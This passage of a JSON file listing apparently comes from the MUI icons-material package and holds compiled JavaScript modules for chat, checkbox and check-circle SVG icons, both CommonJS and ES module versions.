    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubbleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2\"\n}), 'ChatBubbleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v20l4-4h16z\"\n}), 'ChatBubbleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v20l4-4h16z\"\n}), 'ChatBubbleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4 18 2-2h14V4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"1\")], 'ChatBubbleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatBubbleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4 18 2-2h14V4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v18l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H6l-2 2V4h16z\"\n}, \"1\")], 'ChatBubbleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h16v12H5.17L4 17.17zm0-2c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm2 10h8v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}), 'ChatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h16v12H5.17L4 17.17zm0-2c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm2 10h8v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}), 'ChatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 9h10c.55 0 1 .45 1 1s-.45 1-1 1H7c-.55 0-1-.45-1-1s.45-1 1-1m6 5H7c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m4-6H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ChatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4h14c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2M7 9h10c.55 0 1 .45 1 1s-.45 1-1 1H7c-.55 0-1-.45-1-1s.45-1 1-1m6 5H7c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m4-6H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ChatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zM6 9h12v2H6zm8 5H6v-2h8zm4-6H6V6h12z\"\n}), 'ChatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2.01L2 22l4-4h16zM6 9h12v2H6zm8 5H6v-2h8zm4-6H6V6h12z\"\n}), 'ChatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4v13.17L5.17 16H20zm-6 10H6v-2h8zm4-3H6V9h12zm0-3H6V6h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4zm-16-.83V4h16v12H5.17zM6 12h8v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'ChatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4v13.17L5.17 16H20zm-6 10H6v-2h8zm4-3H6V9h12zm0-3H6V6h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 18c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H4c-1.1 0-1.99.9-1.99 2L2 22l4-4zm-16-.83V4h16v12H5.17zM6 12h8v2H6zm0-3h12v2H6zm0-3h12v2H6z\"\n}, \"1\")], 'ChatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Check.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16.17 4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z\"\n}), 'Check');"
  },
  {
    "path": "packages/mui-icons-material/lib/Check.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16.17 4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z\"\n}), 'Check');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-9 14-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8z\"\n}), 'CheckBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2m-9 14-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8z\"\n}), 'CheckBox');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlank.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlank');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlank.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlank');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlankOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 19H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m1-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 19H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m1-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlankRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm2-2H3v18h18z\"\n}), 'CheckBoxOutlineBlankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm2-2H3v18h18z\"\n}), 'CheckBoxOutlineBlankSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlineBlankTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 5v14H5V5zm0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'CheckBoxOutlineBlankTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM17.99 9l-1.41-1.42-6.59 6.59-2.58-2.57-1.42 1.41 4 3.99z\"\n}), 'CheckBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM17.99 9l-1.41-1.42-6.59 6.59-2.58-2.57-1.42 1.41 4 3.99z\"\n}), 'CheckBoxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.29 13.29c-.39.39-1.02.39-1.41 0L5.71 12.7a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L10 14.17l6.88-6.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41z\"\n}), 'CheckBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.29 13.29c-.39.39-1.02.39-1.41 0L5.71 12.7a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L10 14.17l6.88-6.88c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41z\"\n}), 'CheckBoxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM10 17l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8z\"\n}), 'CheckBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM10 17l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8z\"\n}), 'CheckBoxSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm2.41-7.4 2.58 2.58 6.59-6.59L17.99 9l-8 8L6 13.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM17.99 9l-1.41-1.42-6.59 6.59-2.58-2.57-1.42 1.41 4 3.99z\"\n}, \"1\")], 'CheckBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckBoxTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm2.41-7.4 2.58 2.58 6.59-6.59L17.99 9l-8 8L6 13.01z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM17.99 9l-1.41-1.42-6.59 6.59-2.58-2.57-1.42 1.41 4 3.99z\"\n}, \"1\")], 'CheckBoxTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 15-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8z\"\n}), 'CheckCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-2 15-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8z\"\n}), 'CheckCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckCircleOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.59 7.58 10 14.17l-3.59-3.58L5 12l5 5 8-8zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'CheckCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckCircleOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.59 7.58 10 14.17l-3.59-3.58L5 12l5 5 8-8zM12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}), 'CheckCircleOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckCircleOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4.59-12.42L10 14.17l-2.59-2.58L6 13l4 4 8-8z\"\n}), 'CheckCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckCircleOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4.59-12.42L10 14.17l-2.59-2.58L6 13l4 4 8-8z\"\n}), 'CheckCircleOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CheckCircleOutlineRounded.js",
